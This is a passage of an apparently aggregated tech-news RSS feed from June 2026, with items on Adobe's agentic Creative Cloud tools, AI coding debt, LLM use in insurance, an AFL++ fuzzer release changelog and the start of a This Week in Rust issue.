<content:encoded><![CDATA[<p>Dexcom’s Stelo is the first over-the-counter continuous glucose monitor cleared for children. The FDA decision expands app-based glucose tracking to younger users, but schools, health care teams, and benefits leaders still need to account for device access, caregiver oversight, and coverage questions.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-dexcom-stelo-otc-cgm-children/">Glucose Tracking for Children Is Moving Into Apps and Smart Devices</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Adobe embeds agentic AI workflows across Creative Cloud, shifting from media generation to production orchestration]]></title>
<description><![CDATA[Adobe has announced a major expansion of its "creative agent" across its flagship Creative Cloud suite and upgraded Firefly AI studio. Available in public beta starting today across Premiere Pro, Photoshop, Illustrator, InDesign, and Frame.io, the agent is designed to serve everyone from individu...]]></description>
<link>https://tsecurity.de/de/3608158/it-nachrichten/adobe-embeds-agentic-ai-workflows-across-creative-cloud-shifting-from-media-generation-to-production-orchestration/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608158/it-nachrichten/adobe-embeds-agentic-ai-workflows-across-creative-cloud-shifting-from-media-generation-to-production-orchestration/</guid>
<pubDate>Thu, 18 Jun 2026 17:08:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://blog.adobe.com/en/publish/2026/06/18/adobe-firefly-introduces-new-agentic-capabilities-and-an-upgraded-creative-ai-studio-built-for-the-way-you-work">Adobe has announced</a> a major expansion of its "creative agent" across its flagship Creative Cloud suite and upgraded Firefly AI studio. </p><p>Available in public beta starting today across Premiere Pro, Photoshop, Illustrator, InDesign, and Frame.io, the agent is designed to serve everyone from individual creators to enterprise marketing teams. </p><p>Unlike first-generation generative AI tools that simply output flat media from a chat interface, Adobe’s embedded assistant acts as an orchestration layer. </p><p>It interprets natural language prompts and directly accesses the underlying software's APIs to execute complex, multi-step production workflows—from batch-renaming video sequences to dynamically updating brand assets across print layouts—while leaving the final aesthetic decisions entirely in the hands of the human designer. </p><h3><b>Technology: Contextual Memory and DOM Manipulation</b></h3><p>At the core of this release is a significant technical upgrade to how Adobe's AI handles persistent memory and context window management. In its upgraded Firefly creative AI studio—currently in private beta—Adobe has introduced two foundational architectural components: "Elements" and "Projects". </p><ul><li><p><b>Elements</b> functions as a visual variables library, allowing users to save and reuse specific characters, locations, and objects across multiple generations to ensure strict visual consistency as campaigns scale. </p></li><li><p><b>Projects</b> acts as the contextual memory layer, storing assets, generations, and session history in a unified space so users can pick up where they left off without rebuilding their prompt context. </p></li></ul><p>Beyond pixel generation, the system's most critical technological leap is its ability to operate seamlessly within the complex document structures of desktop applications. "Our Adobe Creative Agent can leverage the decades of powerful features, workflows, APIs that we've brought into our application and exposed through tooling that can now be invoked through a creative agent," an Adobe representative explained. </p><h3><b>Product: Automating the Tedious, Expanding the Canvas</b></h3><p>The practical application of this technology fundamentally alters standard production workflows. Adobe is positioning the human user as a "creative director" capable of delegating repetitive, labor-intensive tasks to the AI. The rollout introduces highly specific specialist agents tailored to the logic of each application: </p><ul><li><p><b>Premiere Pro:</b> The agent handles tedious project setup, analyzing and sorting source media into bins, batch renaming clips, identifying interview questions, and assembling a rough working starting point. </p></li><li><p><b>Illustrator:</b> The assistant automates mathematical and multi-step design tasks, such as generating 50 versioned files from a spreadsheet or running pre-flight checks to flag color mode errors before printing. It can even programmatically duplicate a vector shape 100 times, randomize its position, and change its size based on its z-depth and transparency. </p></li><li><p><b>Photoshop &amp; InDesign:</b> The agent executes batch background removals, dynamic layer organization, and applies brand updates across multi-page layouts. </p></li></ul><p>Furthermore, Adobe is actively integrating its creative agent into major third-party enterprise platforms, including OpenAI's ChatGPT, Anthropic's Claude, Microsoft 365 Copilot, and soon, Google Gemini and Slack. </p><h3><b>Licensing: Commercial SaaS and Enterprise Implications</b></h3><p>Unlike open-source orchestration frameworks or models released under MIT or Apache licenses, Adobe's creative agent operates strictly within a proprietary, commercial SaaS ecosystem. For enterprise decision-makers, this carries specific implications. Because the agent relies on Adobe's proprietary APIs to manipulate project files, it requires an active Creative Cloud commercial license. Additionally, by bringing the "Adobe for creativity connector" to platforms like Slack and Microsoft Copilot , enterprise IT and systems architects must consider how internal chat tools will interface with Adobe's cloud processing environments to support enterprise creative and marketing teams securely. </p><h3><b>The Enterprise Unknowns: APIs, Governance, and Architecture</b></h3><p>While Adobe’s announcements highlight a powerful user interface and deep integration within its own flagship applications, several critical questions remain for enterprise technical decision-makers tasked with building bespoke AI systems. VentureBeat has reached out to Adobe for clarification on these infrastructure-level details and will update this coverage as we learn more.</p><p>For AI system architects, the value of a creative agent lies not just in a native application UI, but in its extensibility. It remains unclear if Adobe plans to expose these new agentic capabilities via API, or if the company will support the Model Context Protocol (MCP). Without MCP support or direct API access, enterprise teams will face friction integrating Adobe's tools into their own custom task-routing frameworks and internal LLM pipelines.</p><p>Adobe’s new "Elements" feature promises to solve the generative AI consistency problem by anchoring characters and objects across generations. </p><p>However, the backend architecture driving this persistent memory is not yet detailed. Whether Adobe is leveraging on-the-fly Low-Rank Adaptation (LoRA) based on user uploads or utilizing a form of visual Retrieval-Augmented Generation (RAG) is a critical distinction for technology leaders managing compute costs, model evaluations, and enterprise-grade inference pipelines.</p><p>As organizations build out "Projects" and define brand-specific "Elements", security and data decision-makers require strict guarantees regarding data provenance and storage. It is currently unknown exactly where this contextual workflow and vector data lives—specifically, whether it remains strictly sandboxed within the customer's enterprise Creative Cloud instance on Adobe servers, and how role-based permissions apply to these new agentic workflows.</p><p>Finally, as lightning-fast, developer-first, multi-model AI creative platforms like <a href="https://www.linkedin.com/posts/toddj0_running-out-of-new-ways-to-describe-just-share-7356718780363796481-zREK/">fal.ai gain significant traction</a> among enterprises and developers, Adobe’s position in the broader developer ecosystem remains a point of interest. </p><p>Whether Adobe views these infrastructure-level API providers as direct competitors to its Firefly AI studio or as potential integration points for bespoke enterprise environments has yet to be seen.</p><h3><b>Community Reactions: The Tension Between Automation and Craft</b></h3><p>The integration of agentic AI touches on the tension between eliminating drudgery and surrendering creative control. According to Adobe's recent Creators' Toolkit Report, which surveyed over 16,000 creators globally, the market is highly receptive to AI as an operational assistant rather than an autonomous creator. </p><ul><li><p>75 percent of surveyed creators describe creative AI as integrated or essential to their current workflows. </p></li><li><p>85 percent emphasized that the final creative decision must always remain in human hands. </p></li></ul><p>This sentiment is central to Adobe's messaging. By focusing the agent's capabilities on file organization, layer management, and brand compliance, Adobe aims to automate what a spokesperson called the "tedious parts of their workflow". The goal, according to Adobe executive David Wadhwani, is to let creatives focus on the craft so they can "apply their taste and make the calls that only they can". </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI coding debt is different]]></title>
<description><![CDATA[In hardware, when you ship something broken, the consequences are severe and often irreversible. That’s the world I worked in for years, in verification roles at Mellanox and later at Alibaba. The stakes forced the industry to build a rigorous verification culture. You proved designs worked befor...]]></description>
<link>https://tsecurity.de/de/3607187/ai-nachrichten/why-ai-coding-debt-is-different/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607187/ai-nachrichten/why-ai-coding-debt-is-different/</guid>
<pubDate>Thu, 18 Jun 2026 11:18:48 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>In hardware, when you ship something broken, the consequences are severe and often irreversible. That’s the world I worked in for years, in verification roles at Mellanox and later at Alibaba. The stakes forced the industry to build a rigorous verification culture. You proved designs worked before they left the building.</p>



<p>In software, verification disciplines look like <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a> pipelines, static analysis, canary deployments, and observability. But those systems were built around code written at human speed, with human comprehension baked into the process. AI code generation has broken that assumption. The writing process can no longer be trusted to carry institutional knowledge and judgment into the codebase. The industry is being pushed toward the kind of rigorous verification culture that hardware engineers have practiced for decades.</p>



<p>Enterprises are generating code faster than at any point in history. Google <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/cloud-next-2026-sundar-pichai/">recently disclosed</a> that 75% of the company’s new code is now AI-generated. Meta has set <a href="https://www.peoplematters.in/news/ai-and-emerging-tech/meta-sets-ai-coding-targets-with-some-teams-aiming-for-75percent-usage-49016">internal targets</a> requiring most of its engineers to generate the majority of their committed code with AI tools by mid-2026. The velocity gains are significant. But a growing body of evidence suggests the industry is accumulating a new form of technical debt, one that is less visible than the traditional kind and harder to unwind. It’s also preventable, and the organizations that get ahead of it will have a meaningful advantage over those that don’t.</p>



<h2 class="wp-block-heading">Understand what makes this debt different</h2>



<p>The standard narrative frames this as AI writing bad code. That’s not quite right. The more precise problem is cognitive debt: the loss of understanding of how and why software was built the way it was.</p>



<p>When a human writes code, something else happens alongside the typing. They simulate edge cases, reason through dependencies, and make judgment calls grounded in organizational context, including the business requirements behind a feature, the best practices the team has established, and the reasoning behind past architectural choices. That cognitive loop is how institutional knowledge gets built. When AI writes the code, you can get output that is syntactically correct, passes CI, ships cleanly, and leaves no one holding the mental model. The code works until something changes or breaks, and then the team is excavating a black box.</p>



<p>This is distinct from traditional technical debt, which is messy code. Cognitive debt is invisible code that functions but that nobody truly owns. And it compounds faster, because the same velocity that makes AI generation attractive is what prevents anyone from stopping to build the understanding that maintainability requires.</p>



<p><a href="https://www.gitclear.com/ai_assistant_code_quality_2025_research">GitClear’s analysis</a> of 211 million changed lines of code across major repositories found that during 2024, duplicate code blocks of five or more lines increased eightfold, while refactoring dropped from 25% to under 10% of all code changes. Refactoring is the slow, unglamorous work that keeps codebases healthy, and developers are doing far less of it.<a href="https://dora.dev/research/2024/dora-report/"> Google’s 2024 DORA report</a> found that a 25% increase in AI adoption correlates with a 7.2% decrease in delivery stability. DORA analysts note that the root cause isn’t flawed code per se; AI inflates batch sizes, and larger changesets have always been riskier to ship.</p>



<p>These findings aren’t indictments of AI-assisted development. They’re diagnostics, and they point toward a specific set of fixes.</p>



<h2 class="wp-block-heading">Close the context gap first</h2>



<p>In a <a href="https://www.qodo.ai/reports/state-of-ai-code-quality/">survey of 609 developers</a> we conducted last year, 65% said AI misses relevant context during critical tasks like refactoring, writing tests, or reviewing code. Context is the primary driver of AI code quality, and it’s where most enterprise organizations are underinvesting.</p>



<p>When an AI tool generates code without access to your organization’s architectural decisions, historical pull requests, security policies, or existing module patterns, you get solutions that are locally correct but globally incoherent. Closing that gap requires <a href="https://www.infoworld.com/article/4127462/what-is-context-engineering-and-why-its-the-new-ai-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/4127462/what-is-context-engineering-and-why-its-the-new-ai-architecture.html">context engineering</a>: ensuring the tools and agents you use have access, at the right moment, to the right organizational knowledge, and the judgment to determine what is actually relevant for a given task. A <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html" data-type="link" data-id="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval system</a> that surfaces too much irrelevant context can degrade output quality as readily as one that surfaces too little. The specific tooling matters less than the discipline. Context infrastructure needs to be actively maintained, not indexed once and forgotten.</p>



<p>Build this infrastructure before you scale AI generation. Retrofitting is significantly harder. Treat it the way you treat your CI pipeline, as a prerequisite for safe production deployment.</p>



<p>Consider what happens when a team has built this context infrastructure well. Their code review tooling knows about a deprecated internal API, because that deprecation decision lives in months of past pull request discussions that have been indexed and surfaced. When generated code references the old API, the review flags it. Without that context layer, the same mistake gets waved through every time. That’s the kind of institutional knowledge that evaporates when humans stop writing every line of code, and that you have to actively work to preserve.</p>



<h2 class="wp-block-heading">Build a verification layer that matches your generation velocity</h2>



<p>Almost all of the investment in AI-assisted development has gone into generation. Very little has gone into verification. That imbalance is where the tech debt accumulates.</p>



<p>I think of these as the blue team and the red team. The blue team covers code generation, autocomplete, and agentic coding. It’s getting the headlines, the budgets, and the product launches. The red team covers integrity checks, behavior coverage, and alignment with organizational standards. In most organizations, it’s an afterthought. A CI pipeline catches obvious failures. A code review might happen, but reviewers are overwhelmed by the volume of AI-generated output and cannot meaningfully evaluate all of it. The result is code with a veneer of having been reviewed without anyone having actually understood it.</p>



<p>The <a href="https://hbr.org/2025/01/what-the-2024-crowdstrike-glitch-can-teach-us-about-cyber-risk">Crowdstrike outage of 2024</a> is worth keeping in mind here. AI didn’t generate the problematic code, but the incident illustrated what happens when a single software error propagates through production systems without sufficient verification. That exposure multiplies when code is being generated faster than humans can understand it.</p>



<p>A real verification layer means automated analysis that evaluates whether generated code aligns with your organization’s best practices, architectural standards, and compliance requirements. It means test coverage that reflects intended behavior, not only the happy path the AI chose to generate tests for. And it means traceability: a connection between the requirement and the implementation, so that six months from now, someone can understand what the code does and why it exists.</p>



<p>The numbers support investment here. In the <a href="https://www.qodo.ai/reports/state-of-ai-code-quality/">same developer survey</a>, teams that integrated AI into their code review workflow saw quality improvements in 81% of cases, compared to 55% for comparable teams without it. </p>



<h2 class="wp-block-heading">Make ownership non-negotiable</h2>



<p>Every piece of AI-generated code in production needs an accountable human who understands it well enough to maintain it. This is harder than it sounds, and it’s where most organizations are falling short.</p>



<p>The same velocity that makes AI generation attractive also creates pressure to skip the slow work of genuine comprehension. A developer reviews a 500-line pull request that an AI generated in three minutes and faces a real choice: spend two hours actually understanding it, or approve it because it looks right, passes the test, and “LGTM” (looks good to me). </p>



<p>Real ownership means slowing down generation velocity enough to allow for meaningful review, and being explicit with your team that this is the right trade-off. When that doesn’t happen, you’ve started building your next legacy system.</p>



<h2 class="wp-block-heading">What to do this quarter</h2>



<p>The good news is that none of this requires a multi-year transformation. The structural problems are real, but they have concrete solutions, and engineering leaders can make meaningful progress on all three fronts without waiting for the next budget cycle.</p>



<ul class="wp-block-list">
<li><strong>Audit your context infrastructure.</strong> If your AI tools are generating code without access to your organization’s architectural decisions, deprecated APIs, and security policies, fix that before expanding generation velocity further. The quality of context determines the quality of output.</li>



<li><strong>Invest in the red team.</strong> Establish an automated code quality and governance layer that evaluates generated code against your specific organizational standards, beyond functional correctness. This is a distinct investment from your code generation tooling and needs to be treated as such.</li>



<li><strong>Establish ownership explicitly.</strong> Every AI-generated feature in production should have a human owner who genuinely understands it. Make that a formal requirement.</li>
</ul>



<p>The organizations that get this right will find that AI generation becomes far more reliable once it has a verification layer underneath it. The ones that don’t will keep shipping faster while understanding their systems less, until the accumulated debt forces a reckoning. That’s a solvable problem. The question is whether you solve it now or later.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The future of insurance is contextual, conversational and customer-first – thanks to AI]]></title>
<description><![CDATA[The insurance industry has long been regarded as a highly regulated, slow-moving monolith. But look closely, and you’ll see that we’re entering a new phase of significant change and overdue optimization – one that puts the consumer experience front-and-center.



I’ve long anticipated this transi...]]></description>
<link>https://tsecurity.de/de/3607142/it-security-nachrichten/the-future-of-insurance-is-contextual-conversational-and-customer-first-thanks-to-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607142/it-security-nachrichten/the-future-of-insurance-is-contextual-conversational-and-customer-first-thanks-to-ai/</guid>
<pubDate>Thu, 18 Jun 2026 11:05:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The insurance industry has long been regarded as a highly regulated, slow-moving monolith. But look closely, and you’ll see that we’re entering a new phase of significant change and overdue optimization – one that puts the consumer experience front-and-center.</p>



<p>I’ve long anticipated this transition. My experience in recent years working on the core machine learning (ML) team at Google taught me that the true value of artificial intelligence is not in hardware efficiency but in the radical personalization it enables. I learned a valuable lesson earlier in my career: Even the most tech-savvy tools can fail if they don’t solve a human problem. It’s a belief that’s been reinforced after recently joining The Zebra team as chief AI officer, a position that empowers me to better employ AI and ML to maximize the synergy between product and technology and make for a more efficient and customer-centric insurance shopping model.</p>



<h2 class="wp-block-heading">From keywords to context</h2>



<p>For years, consumers have used basic SEO keywords to find insurance policies while carriers relied on simple ML to price these policies. But that paradigm is changing quickly. It won’t be long before we see automation processes occurring across several different areas, particularly on the customer-facing side, where we are attempting to collect as much context as we can.</p>



<p>Today, customers provide deep, intent-based context, with a shift toward hyper-personalized, highly detailed queries. The next logical step is for Large Language Models (LLMs) to parse this massive amount of customer intent data and map it against complex and unstructured policy data. This represents both a major challenge and a fantastic opportunity: successfully and efficiently organizing our internal insurance data so that it can be presented back to the consumer. The goal here is to advance to a stage where organizing policy data (the provider side) and collecting information (the customer side) blend to create a perfectly personalized middle ground.</p>



<p>I’ve observed this incredible shift firsthand. Customers used to find The Zebra after using a basic two-word Google keyword search like “car insurance.” But courtesy of LLMs, their queries today are much more specific and customized: “I need car insurance for my 2022 Honda Civic in Austin, Texas, and I park it outside.” Providing this rich data upfront and directly to our advisors changes the whole game, allowing us to bypass tedious intake and start nurturing genuine human relationships.</p>



<p>I love the automation side of AI – especially its ability to eliminate manual data entry. Still, handling sensitive customer information means that AI tooling can quickly throw gasoline on a growing fire. That’s the reason I’m committed to creating a controlled environment. At The Zebra, we’ve spent a decade researching how humans sell policies, and I want to ensure our models don’t “reward hack.” A good illustration of this is an unsupervised model believing that hanging up on every customer ensures it will never technically lose a deal. At our company, it’s my job to build the guardrails that prevent these bizarre optimizations.</p>



<h2 class="wp-block-heading">Exciting developments underfoot</h2>



<p>We’ve entered a sea change moment, signaling a shift toward agentic coding and dynamic UI and away from the hard-coded, static websites that earlier dominated the insurance space. At present, most insurance online portals are linear, with the sequence of questions typically predetermined by a developer. In the coming phase, however, the LLMs will define the questions and the order in which they are asked, and UI components will be chosen or generated ad hoc, depending on the consumer’s particular context. That’s real progress.</p>



<p>Even more than the interface, I’m energized about forthcoming improvements in the agent-to-agent ecosystem. I envision a future where, for example, an online car-buying service like CarEdge or AutoCompanion learns key info about a given user, including their vehicle preferences, budget and safety priorities; then, at the moment the user clicks “buy,” that entire world of context is communicated directly from that website and its human or AI agent to an insurance agent. This layer of interaction eliminates the need for the customer to repeat redundant details while also ensuring that they are instantly offered the best personalized insurance policy.</p>



<p>Peering forward, I’m especially excited about this “agent-to-agent” future. Years ago, I built recommendations, search engines and pricings for a used car e-commerce platform, employing basic filters like “Toyota under $30,000.” But nowadays, people hunt online with so much more context and use conversational AI for nuanced intent, with focused queries like “I need a car for a family of three that fits a bulky stroller.” Extracting that deep context from a vehicle-purchasing AI agent directly into our insurance workflow is a fantastic opportunity to eliminate friction.</p>



<p>Another trend that has me stoked? AI’s increasing ability to help regional insurers structure their data. Smaller insurers, which know their local markets more than national players, have traditionally struggled to aggregate their numbers for digital marketplaces. But by better leveraging AI agents, we can now provide info to customers that was previously difficult to obtain, introducing them to insurance companies that are a better fit.</p>



<p>What’s behind my continued fascination with AI agents? Maybe it has something to do with our corporate culture at The Zebra, which emphasizes creativity, curiosity and fun – as exemplified by our obsession with Legos. Walk into our offices or attend a virtual meeting and you’ll see everyone clicking bricks together. We even commemorate exceptional company or career milestones by gifting Lego sets. These all-ages toys serve as a physical manifestation of a “Tinker mindset.” Legos have taught me that complex architectures are simply collections of tiny but well-defined parts you can remix inventively. When we launched <a href="https://www.linkedin.com/pulse/bricks-bots-vibe-coding-why-future-insurtech-built-daniel-herrington-qvdie/" rel="nofollow">Zebra Labs</a>, it dawned on me that “vibe coding” with AI is akin to playing with digital Legos: Snapping together prompts, models and APIs to construct a security triage agent calls for the same kind of foundational logic needed to assemble a <a href="https://www.lego.com/en-us/product/porsche-911-rsr-42096?consent-modal=show&amp;age-gate=grown_up" rel="nofollow">Lego Technic Porsche 911</a>. To me, this mindset makes AI development feel like an organic extension of how we already work.</p>



<h2 class="wp-block-heading">Navigating challenges ahead</h2>



<p>It’s natural to be optimistic about what’s just beyond the horizon. Still, the industry has to be careful about “AI slop” – using AI to build things too quickly without truly knowing where and how it fits. This is an especially slippery slope when it comes to licensing. Case in point: If you ask an off-the-shelf LLM which policy to purchase for a Porsche (the real, non-Lego kind), it could suggest one that violates licensing laws.</p>



<p>You also have to think ahead about hidden hazards when operating in a regulated financial space. In my previous job at Google, I worked on improving the efficiency of Waymo models; at The Zebra’s Austin headquarters, I constantly see these autonomous vehicles, which have taught me quite a bit about edge cases. A Waymo can spot a city stop sign completely obscured by overgrown leaves thanks to its LiDAR and internal maps, safely stopping the car and logging the danger. At our company, strict compliance rules represent those <a href="https://www.linkedin.com/pulse/seeing-stop-sign-through-trees-how-ai-evals-insurance-herrington-e0nbf/" rel="nofollow">hidden stop signs</a>. Imagine a generic LLM confidently advising a user to drop comprehensive coverage to save a few dollars; doing so means it is acting as an unlicensed advisor – a massive legal liability. The lesson here is that you can’t just give AI the keys, ask it to be professional and simply hope for the best.</p>



<p>To prevent this, I’m creating a digital sensor suite using strict evaluation platforms. This way, before an AI agent can interact with the customer, it has to survive a simulated gauntlet graded on three metrics: factuality (is the information correct?), compliance (did it avoid making a regulated recommendation?) and accuracy (did it hallucinate any features?).</p>



<p>I was recently in Nashville for the Insurance Innovators conference. The audience wanted to know where I’m placing my business bets for The Zebra. My answer was simple: “personalization agents.” I’m investing heavily in resources that evaluate colossal volumes of policy data that can supercharge our human advisors. By extracting the specific data points they require exactly when they need them, I can help eliminate administrative friction and ensure they receive the perfect coverage for their unique risk profiles.</p>



<p>But it’s important to prioritize jobs as we make this transition to more grounded LLMs. This sector isn’t ripe for disruption simply because you can decrease and automate costs by subtracting people from the equation. This next phase I foresee should produce a more synergistic partnership between AI and human beings – especially licensed advisors who make sure we apply hyper-personalization and avoid the kinds of mistakes AI is known for. Yet we also want to unlock an experience so precise that relying solely on human decision-making will eventually feel like an unnecessary risk.</p>



<p>This customer-focused and increasingly bespoke insurance experience I’m dreaming of requires moving beyond simple task automation to a point where data is efficiently structured, and both human and AI agents communicate effectively across platforms. We’re almost there, and everyone – from the policyholder to the underwriter – stands to benefit.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v5.01c]]></title>
<description><![CDATA[Version ++5.01c (release)

MacOS persistent mode now uses futex mode now too which increases speed
and reduces system call overhead (opt out with AFL_FAST_CHILD_SYNC) - this
requires a MacOS from 2024 onwards.
afl-fuzz

new adaptive MOpt! Much better than the outdated one we still had.
How good i...]]></description>
<link>https://tsecurity.de/de/3607079/it-security-tools/v501c/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3607079/it-security-tools/v501c/</guid>
<pubDate>Thu, 18 Jun 2026 10:34:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Version ++5.01c (release)</h3>
<ul>
<li>MacOS persistent mode now uses futex mode now too which increases speed<br>
and reduces system call overhead (opt out with AFL_FAST_CHILD_SYNC) - this<br>
requires a MacOS from 2024 onwards.</li>
<li>afl-fuzz
<ul>
<li>new adaptive MOpt! Much better than the outdated one we still had.<br>
How good it is still needs to be seen but initially it seems to be<br>
better than standard havoc</li>
<li>enforce halt on UBSAN errors</li>
</ul>
</li>
<li>afl-cc:
<ul>
<li>enforce halt on UBSAN errors (AFL_USE_USBAN=1)</li>
<li>better cmplog on MacOS</li>
<li>removed unsupported LLVM version code paths from afl-cc and llvm passes</li>
<li>compcov: fixes for float splittings (thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngg">@ngg</a>)</li>
</ul>
</li>
<li>nyx_mode:
<ul>
<li>fix nyx_mode issues (thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/morehouse/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/morehouse">@morehouse</a>)</li>
</ul>
</li>
<li>qemu_mode:
<ul>
<li>non-colliding coverage!</li>
<li>faster persistent fuzzing</li>
<li>minor bug fixes</li>
</ul>
</li>
<li>qemu_bridge:
<ul>
<li>new mode with current QEMU version, so plugins possible, new processors</li>
<li>sightly slower than qemu_mode</li>
<li>WIP!</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 656]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3606667/tools/this-week-in-rust-this-week-in-rust-656/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3606667/tools/this-week-in-rust-this-week-in-rust-656/</guid>
<pubDate>Thu, 18 Jun 2026 07:08:48 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>

<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://arxiv.org/abs/2606.15991">cuTile Rust - Fearless Concurrency on the GPU, memory-safe, data-race-free GPU kernels, B200 benchmarks</a></li>
<li><a href="https://www.iroh.computer/blog/v1">Iroh 1.0 - Dial Keys, not IPs</a></li>
<li><a href="https://manishearth.github.io/blog/2026/06/14/diplomat-multi-language-ffi-for-rust-libraries/">Diplomat - Multi-language FFI for Rust libraries</a></li>
<li><a href="https://sergey-melnychuk.github.io/2026/05/23/yevm/">I built EVM from scratch. Again.</a></li>
<li><a href="https://zelanton.github.io/processkit/">processkit 1.0 - async process tree management</a></li>
<li><a href="https://github.com/obazin/litchee/releases/tag/v0.1.0">litchee: Rust Lichess API client</a></li>
<li><a href="https://jolars.co/blog/2026-06-10-basin/">Basin - Numerical Optimization in Rust</a></li>
<li><a href="https://github.com/carboxyl-rs/carboxyl/releases/tag/v0.1.0-servo-rc.1">Carboxyl 0.1.0-rc - A servo-based browser for the terminal</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.6.0">kache 0.6.0 - a shareable Rust + C/C++ build cache</a></li>
<li><a href="https://github.com/GianIac/numax/releases/tag/v0.1.0">numax v0.1.0 - first stable release of the numax distributed WASM runtime</a></li>
<li><a href="https://dev.to/etoile_bleu/-i-built-a-sync-engine-for-clinics-that-run-on-2g-and-lose-power-mid-transfer-here-is-why-and-18od">ZamSync - offline-first Rust sync engine</a></li>
<li><a href="https://dev.to/phpcraftdream/ktav-i-got-fed-up-with-every-config-format-so-i-built-one-with-no-quotes-no-commas-no-54an">Ktav - a quote-free config format</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://trifectatech.org/blog/zlib-rs-in-firefox/">zlib-rs in Firefox</a></li>
<li><a href="https://corrode.dev/blog/rust-prevents-data-races-not-race-conditions/">Rust Prevents Data Races, Not Race Conditions</a></li>
<li><a href="https://fnordig.de/2026/06/16/build-your-project-zig-style/">Build your project Zig-style</a></li>
<li><a href="https://kobzol.github.io/rust/2026/06/15/how-memory-safety-cves-differ-between-rust-and-c-cpp.html">How memory safety CVEs differ between Rust and C/C++</a></li>
<li><a href="https://kerkour.com/stdx-cratesio">Why stdx is not on crates.io</a></li>
